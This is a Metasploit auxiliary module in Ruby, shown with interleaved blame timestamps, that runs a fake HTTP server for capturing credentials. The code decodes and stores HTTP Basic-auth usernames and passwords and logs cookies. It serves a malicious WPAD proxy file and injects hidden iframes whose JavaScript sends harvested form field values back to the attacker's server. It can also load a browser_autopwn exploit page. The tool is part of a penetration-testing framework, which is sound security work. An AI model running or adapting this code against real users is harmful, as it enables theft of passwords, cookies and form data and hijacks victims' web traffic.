2008-03-02 08:03:27 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-03-02 08:03:27 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Auxiliary
2008-10-02 05:23:59 +00:00
include Msf :: Exploit :: Remote :: TcpServer
include Msf :: Auxiliary :: Report
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
def initialize
super (
'Name' = > 'Authentication Capture: HTTP' ,
'Description' = > %q{
This module provides a fake HTTP service that
is designed to capture authentication credentials.
} ,
'Author' = > [ 'ddz' , 'hdm' ] ,
'License' = > MSF_LICENSE ,
'Actions' = >
[
2020-05-12 22:15:21 +02:00
[ 'Capture' , 'Description' = > 'Run capture web server' ]
2008-03-02 08:03:27 +00:00
] ,
2010-04-30 08:40:19 +00:00
'PassiveActions' = >
2008-03-02 08:03:27 +00:00
[
'Capture'
] ,
'DefaultAction' = > 'Capture'
)
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
register_options (
[
2008-03-26 22:00:23 +00:00
OptPort . new ( 'SRVPORT' , [ true , " The local port to listen on. " , 80 ] ) ,
2010-04-30 08:40:19 +00:00
OptPath . new ( 'TEMPLATE' , [ false , " The HTML template to serve in responses " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " index.html " )
2008-04-21 21:04:11 +00:00
]
) ,
2010-04-30 08:40:19 +00:00
OptPath . new ( 'SITELIST' , [ false , " The list of URLs that should be used for cookie capture " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " sites.txt " )
2008-04-21 21:04:11 +00:00
]
2008-04-22 18:48:21 +00:00
) ,
2010-04-30 08:40:19 +00:00
OptPath . new ( 'FORMSDIR' , [ false , " The directory containing form snippets (example.com.txt) " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " forms " )
2008-04-22 18:48:21 +00:00
]
2008-08-08 06:00:30 +00:00
) ,
OptAddress . new ( 'AUTOPWN_HOST' , [ false , " The IP address of the browser_autopwn service " , nil ] ) ,
OptPort . new ( 'AUTOPWN_PORT' , [ false , " The SRVPORT port of the browser_autopwn service " , nil ] ) ,
OptString . new ( 'AUTOPWN_URI' , [ false , " The URIPATH of the browser_autopwn service " , nil ] ) ,
2017-05-03 15:42:21 -05:00
] )
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2011-12-04 12:40:49 -06:00
# Not compatible today
def support_ipv6?
false
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
def run
2008-04-22 18:48:21 +00:00
@formsdir = datastore [ 'FORMSDIR' ]
2008-04-21 21:04:11 +00:00
@template = datastore [ 'TEMPLATE' ]
@sitelist = datastore [ 'SITELIST' ]
@myhost = datastore [ 'SRVHOST' ]
@myport = datastore [ 'SRVPORT' ]
2013-08-30 16:28:54 -05:00
2008-08-08 06:00:30 +00:00
@myautopwn_host = datastore [ 'AUTOPWN_HOST' ]
@myautopwn_port = datastore [ 'AUTOPWN_PORT' ]
@myautopwn_uri = datastore [ 'AUTOPWN_URI' ]
@myautopwn = false
2013-08-30 16:28:54 -05:00
2008-08-08 06:00:30 +00:00
if ( @myautopwn_host and @myautopwn_port and @myautopwn_uri )
@myautopwn = true
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
exploit ( )
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
def on_client_connect ( c )
c . extend ( Rex :: Proto :: Http :: ServerClient )
c . init_cli ( self )
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
def on_client_data ( cli )
begin
2008-04-18 01:33:09 +00:00
data = cli . get_once ( - 1 , 5 )
2009-10-25 17:18:23 +00:00
raise :: Errno :: ECONNABORTED if ! data or data . length == 0
2008-04-18 01:33:09 +00:00
case cli . request . parse ( data )
2008-03-02 08:03:27 +00:00
when Rex :: Proto :: Http :: Packet :: ParseCode :: Completed
dispatch_request ( cli , cli . request )
cli . reset_cli
2008-03-22 05:40:34 +00:00
when Rex :: Proto :: Http :: Packet :: ParseCode :: Error
2008-03-02 08:03:27 +00:00
close_client ( cli )
end
2008-04-18 01:33:09 +00:00
rescue :: EOFError , :: Errno :: EACCES , :: Errno :: ECONNABORTED , :: Errno :: ECONNRESET
2008-04-21 05:41:53 +00:00
rescue :: OpenSSL :: SSL :: SSLError
2008-04-18 01:33:09 +00:00
rescue :: Exception
2010-07-25 21:37:54 +00:00
print_error ( " Error: #{ $! . class } #{ $! } #{ $! . backtrace } " )
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-22 23:20:35 +00:00
close_client ( cli )
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
def close_client ( cli )
2008-04-18 01:33:09 +00:00
cli . close
2009-03-28 05:51:18 +00:00
# Require to clean up the service properly
raise :: EOFError
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2015-07-29 14:31:35 -05:00
def report_cred ( opts )
service_data = {
address : opts [ :ip ] ,
port : opts [ :port ] ,
service_name : opts [ :service_name ] ,
protocol : 'tcp' ,
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :service ,
module_fullname : fullname ,
username : opts [ :user ] ,
private_data : opts [ :password ] ,
private_type : :password
} . merge ( service_data )
login_data = {
core : create_credential ( credential_data ) ,
status : Metasploit :: Model :: Login :: Status :: UNTRIED ,
proof : opts [ :proof ]
} . merge ( service_data )
create_credential_login ( login_data )
end
2008-03-02 08:03:27 +00:00
def dispatch_request ( cli , req )
2013-08-30 16:28:54 -05:00
2008-04-22 23:20:35 +00:00
phost = cli . peerhost
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
os_name = nil
os_type = nil
os_vers = nil
os_arch = 'x86'
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
ua_name = nil
ua_vers = nil
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
ua = req [ 'User-Agent' ]
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
case ( ua )
2008-04-18 01:33:09 +00:00
when / rv:([ \ d \ .]+) /
ua_name = 'FF'
ua_vers = $1
2012-06-25 00:36:04 -05:00
when / Mozilla \/ [0-9] \ .[0-9] \ (compatible; MSIE ([0-9]+ \ .[0-9]+) /
2008-04-18 01:33:09 +00:00
ua_name = 'IE'
ua_vers = $1
when / Version \/ ( \ d+ \ . \ d+ \ . \ d+).*Safari /
ua_name = 'Safari'
ua_vers = $1
end
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
case ( ua )
when / Windows /
os_name = 'Windows'
when / Linux /
os_name = 'Linux'
when / iPhone /
os_name = 'iPhone'
os_arch = 'armle'
when / Mac OS X /
2008-07-01 01:44:56 +00:00
os_name = 'Mac'
2008-04-18 01:33:09 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
case ( ua )
when / PPC /
os_arch = 'ppc'
end
2013-08-30 16:28:54 -05:00
2008-04-18 01:33:09 +00:00
os_name || = 'Unknown'
2013-08-30 16:28:54 -05:00
2008-03-22 06:34:52 +00:00
mysrc = Rex :: Socket . source_address ( cli . peerhost )
2011-12-10 07:33:23 -06:00
hhead = ( req [ 'Host' ] || @myhost )
2013-08-30 16:28:54 -05:00
2011-12-10 07:33:23 -06:00
if req . resource =~ / ^http \ : \/ +([^ \/ ]+)( \/ *.*) /
hhead = $1
2008-08-08 06:00:30 +00:00
req . resource = $2
end
2013-08-30 16:28:54 -05:00
2011-12-10 07:33:23 -06:00
if hhead =~ / ^(.*):( \ d+) \ s*$ /
hhead = $1
nport = $2 . to_i
end
2013-08-30 16:28:54 -05:00
2011-12-10 07:33:23 -06:00
@myport = nport || 80
2013-08-30 16:28:54 -05:00
2008-04-21 21:49:10 +00:00
cookies = req [ 'Cookie' ] || ''
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
if ( cookies . length > 0 )
report_note (
:host = > cli . peerhost ,
:type = > " http_cookies " ,
2010-09-19 22:25:56 +00:00
:data = > hhead + " " + cookies ,
:update = > :unique_data
2008-04-22 18:48:21 +00:00
)
end
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
if ( req [ 'Authorization' ] and req [ 'Authorization' ] =~ / basic /i )
basic , auth = req [ 'Authorization' ] . split ( / \ s+ / )
user , pass = Rex :: Text . decode_base64 ( auth ) . split ( ':' , 2 )
2015-07-29 14:31:35 -05:00
report_cred (
ip : cli . peerhost ,
port : @myport ,
service_name : ( ssl ? " https " : " http " ) ,
user : user ,
pass : pass ,
proof : req . resource . to_s
2010-08-18 00:58:20 +00:00
)
2013-08-30 16:28:54 -05:00
2010-08-18 00:58:20 +00:00
report_note (
:host = > cli . peerhost ,
:type = > " http_auth_extra " ,
2010-09-19 22:25:56 +00:00
:data = > req . resource . to_s ,
:update = > :unique_data
2008-03-02 08:03:27 +00:00
)
2017-07-19 11:39:15 +01:00
print_good ( " HTTP LOGIN #{ cli . peerhost } > #{ hhead } : #{ @myport } #{ user } / #{ pass } => #{ req . resource } " )
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
if ( req . resource =~ / ^ \/ *wpad.dat|.* \ .pac$ /i )
2008-03-22 06:34:52 +00:00
prx = " function FindProxyForURL(url, host) { return 'PROXY #{ mysrc } : #{ @myport } '; } "
2010-04-30 08:40:19 +00:00
res =
2008-03-02 08:03:27 +00:00
" HTTP/1.1 200 OK \r \n " +
2008-03-22 06:34:52 +00:00
" Host: #{ hhead } \r \n " +
2008-03-02 08:03:27 +00:00
" Content-Type: application/x-ns-proxy-autoconfig \r \n " +
" Content-Length: #{ prx . length } \r \n " +
" Connection: Close \r \n \r \n #{ prx } "
print_status ( " HTTP wpad.dat sent to #{ cli . peerhost } " )
cli . put ( res )
return
end
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
if ( req . resource =~ / \/ +formrec \/ (.*) /i )
2008-04-22 18:48:21 +00:00
data = Rex :: Text . uri_decode ( $1 ) . split ( " \x00 " ) . join ( " , " )
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
report_note (
:host = > cli . peerhost ,
:type = > " http_formdata " ,
2010-09-19 22:25:56 +00:00
:data = > hhead + " " + data ,
:update = > :unique_data
2008-04-22 18:48:21 +00:00
)
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
res =
2008-04-22 18:48:21 +00:00
" HTTP/1.1 200 OK \r \n " +
" Host: #{ hhead } \r \n " +
" Content-Type: text/html \r \n " +
2008-07-14 05:36:21 +00:00
" Content-Length: 4 \r \n " +
" Connection: Close \r \n \r \n BYE! "
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
print_status ( " HTTP form data received for #{ hhead } from #{ cli . peerhost } ( #{ data } ) " )
cli . put ( res )
return
end
2013-08-30 16:28:54 -05:00
2008-04-22 23:20:35 +00:00
report_note (
:host = > cli . peerhost ,
:type = > " http_request " ,
2010-09-19 22:25:56 +00:00
:data = > " #{ hhead } : #{ @myport } #{ req . method } #{ req . resource } #{ os_name } #{ ua_name } #{ ua_vers } " ,
:update = > :unique_data
2008-04-22 23:20:35 +00:00
)
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
print_status ( " HTTP REQUEST #{ cli . peerhost } > #{ hhead } : #{ @myport } #{ req . method } #{ req . resource } #{ os_name } #{ ua_name } #{ ua_vers } cookies= #{ cookies } " )
2013-08-30 16:28:54 -05:00
2008-08-08 06:00:30 +00:00
if ( req . resource =~ / \/ +forms.html$ / )
2008-04-22 18:48:21 +00:00
frm = inject_forms ( hhead )
2010-04-30 08:40:19 +00:00
res =
2008-04-22 18:48:21 +00:00
" HTTP/1.1 200 OK \r \n " +
" Host: #{ hhead } \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: #{ frm . length } \r \n " +
" Connection: Close \r \n \r \n #{ frm } "
cli . put ( res )
return
end
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
# http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
if ( req . resource == " /update/PatchSequenceFile.txt " )
2010-04-30 08:40:19 +00:00
print_status ( " HTTP #{ cli . peerhost } is trying to play World of Warcraft " )
2008-07-14 05:36:21 +00:00
end
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
# Microsoft 'Network Connectivity Status Indicator' Vista
2008-08-08 06:00:30 +00:00
if ( req [ 'Host' ] == 'www.msftncsi.com' )
2008-07-14 05:36:21 +00:00
print_status ( " HTTP #{ cli . peerhost } requested the Network Connectivity Status Indicator page (Vista) " )
data = " Microsoft NCSI "
2010-04-30 08:40:19 +00:00
res =
2008-07-14 05:36:21 +00:00
" HTTP/1.1 200 OK \r \n " +
2009-07-06 01:12:55 +00:00
" Host: www.msftncsi.com \r \n " +
2008-07-14 05:36:21 +00:00
" Expires: 0 \r \n " +
" Cache-Control: must-revalidate \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
2010-04-30 08:40:19 +00:00
return
2008-07-14 05:36:21 +00:00
end
2009-07-26 05:31:29 +00:00
2010-04-30 08:40:19 +00:00
=begin
2009-07-26 05:31:29 +00:00
# Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
2009-07-06 01:12:55 +00:00
if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
2010-04-30 08:40:19 +00:00
res =
2009-07-06 01:12:55 +00:00
"HTTP/1.1 200 OK\r\n" +
"Host: www.apple.com\r\n" +
"Expires: 0\r\n" +
"Cache-Control: must-revalidate\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
2009-07-26 05:31:29 +00:00
=end
2008-07-14 05:36:21 +00:00
2008-08-08 06:00:30 +00:00
# Microsoft ActiveX Download
if ( req [ 'Host' ] == 'activex.microsoft.com' )
print_status ( " HTTP #{ cli . peerhost } attempted to download an ActiveX control " )
data = " "
2010-04-30 08:40:19 +00:00
res =
2008-08-08 06:00:30 +00:00
" HTTP/1.1 404 Not Found \r \n " +
" Host: #{ mysrc } \r \n " +
" Content-Type: application/octet-stream \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
2010-04-30 08:40:19 +00:00
return
2008-08-08 06:00:30 +00:00
end
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
# Sonic.com's Update Service
2008-08-08 06:00:30 +00:00
if ( req [ 'Host' ] == 'updateservice.sonic.com' )
2008-07-14 05:36:21 +00:00
print_status ( " HTTP #{ cli . peerhost } is running a Sonic.com product that checks for online updates " )
2010-04-30 08:40:19 +00:00
end
2013-08-30 16:28:54 -05:00
2008-03-22 07:13:47 +00:00
# The google maps / stocks view on the iPhone
if ( req [ 'Host' ] == 'iphone-wu.apple.com' )
case req . resource
when '/glm/mmap'
print_status ( " HTTP #{ cli . peerhost } is using Google Maps on the iPhone " )
when '/dgw'
print_status ( " HTTP #{ cli . peerhost } is using Stocks/Weather on the iPhone " )
else
print_status ( " HTTP #{ cli . peerhost } is request #{ req . resource } via the iPhone " )
end
end
2013-08-30 16:28:54 -05:00
2008-03-22 07:13:47 +00:00
# The itunes store on the iPhone
2010-04-30 08:40:19 +00:00
if ( req [ 'Host' ] == 'phobos.apple.com' )
2008-03-22 07:13:47 +00:00
print_status ( " HTTP #{ cli . peerhost } is using iTunes Store on the iPhone " )
# GET /bag.xml
end
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
# Handle image requests
ctypes =
{
2010-09-20 08:06:27 +00:00
" jpg " = > " image/jpeg " ,
" jpeg " = > " image/jpeg " ,
" png " = > " image/png " ,
" gif " = > " image/gif " ,
2008-04-21 21:04:11 +00:00
}
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
req_ext = req . resource . split ( " . " ) [ - 1 ] . downcase
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
if ( ctypes [ req_ext ] )
2008-04-21 21:49:10 +00:00
ctype = ctypes [ 'gif' ]
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
data =
2008-04-21 21:49:10 +00:00
" \x47 \x49 \x46 \x38 \x39 \x61 \x01 \x00 \x01 \x00 \x80 \x00 " +
" \x00 \xff \xff \xff \xff \xff \xff \x2c \x00 \x00 \x00 \x00 " +
" \x01 \x00 \x01 \x00 \x00 \x02 \x02 \x44 \x01 \x00 \x3b "
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
res =
2010-09-20 08:06:27 +00:00
" HTTP/1.1 200 OK \r \n " +
" Host: #{ mysrc } \r \n " +
" Content-Type: #{ ctype } \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
2008-04-21 21:04:11 +00:00
cli . put ( res )
return
2008-03-26 22:00:23 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
buff = ''
2013-08-30 16:28:54 -05:00
2008-08-08 06:00:30 +00:00
if ( @myautopwn )
buff << " <iframe src='http:// #{ @myautopwn_host } : #{ @myautopwn_port } #{ @myautopwn_uri } '></iframe> "
end
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
list = File . readlines ( @sitelist )
list . each do | site |
next if site =~ / ^ # /
site . strip!
next if site . length == 0
2008-08-08 06:00:30 +00:00
buff << " <iframe src='http:// #{ site } : #{ @myport } /forms.html'></iframe> "
2008-04-21 22:02:39 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-21 21:04:11 +00:00
data = File . read ( @template )
data . gsub! ( / %CONTENT% / , buff )
2013-08-30 16:28:54 -05:00
2010-04-30 08:40:19 +00:00
res =
2008-03-02 08:03:27 +00:00
" HTTP/1.1 200 OK \r \n " +
2008-03-26 22:00:23 +00:00
" Host: #{ mysrc } \r \n " +
2008-04-18 01:33:09 +00:00
" Expires: 0 \r \n " +
" Cache-Control: must-revalidate \r \n " +
2008-03-02 08:03:27 +00:00
" Content-Type: text/html \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
cli . put ( res )
2010-04-30 08:40:19 +00:00
return
2013-08-30 16:28:54 -05:00
2008-03-02 08:03:27 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
def inject_forms ( site )
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
domain = site . gsub ( / ( \ . \ .| \\ | \/ ) / , " " )
domain = " www. " + domain if domain !~ / ^www /i
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
while ( domain . length > 0 )
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
form_file = File . join ( @formsdir , domain ) + " .txt "
form_data = " "
if ( File . readable? ( form_file ) )
form_data = File . read ( form_file )
break
end
2013-08-30 16:28:54 -05:00
2008-07-14 05:36:21 +00:00
parts = domain . split ( " . " )
parts . shift
domain = parts . join ( " . " )
2008-04-22 18:48:21 +00:00
end
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
%|
<html>
<head>
<script language="javascript">
2010-04-30 08:40:19 +00:00
function processForms() {
2008-04-22 18:48:21 +00:00
var i = 0;
while(form = document.forms[i]) {
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
res = "";
var x = 0;
var f = 0;
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
while(e = form.elements[x]) {
2008-08-08 06:38:59 +00:00
if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
2008-04-22 18:48:21 +00:00
res += e.name + "=" + e.value + "\x00";
f=1;
}
x++;
}
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
if(f) {
url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
fra = document.createElement("iframe");
fra.setAttribute("src", url);
fra.style.visibility = 'hidden';
document.body.appendChild(fra);
}
2013-08-30 16:28:54 -05:00
2008-04-22 18:48:21 +00:00
i++;
}
}
</script>
</head>
<body onload="processForms()">
#{form_data}
</body>
</html>
2010-04-30 08:40:19 +00:00
|
2008-04-22 18:48:21 +00:00
end
2008-11-12 19:31:11 +00:00
end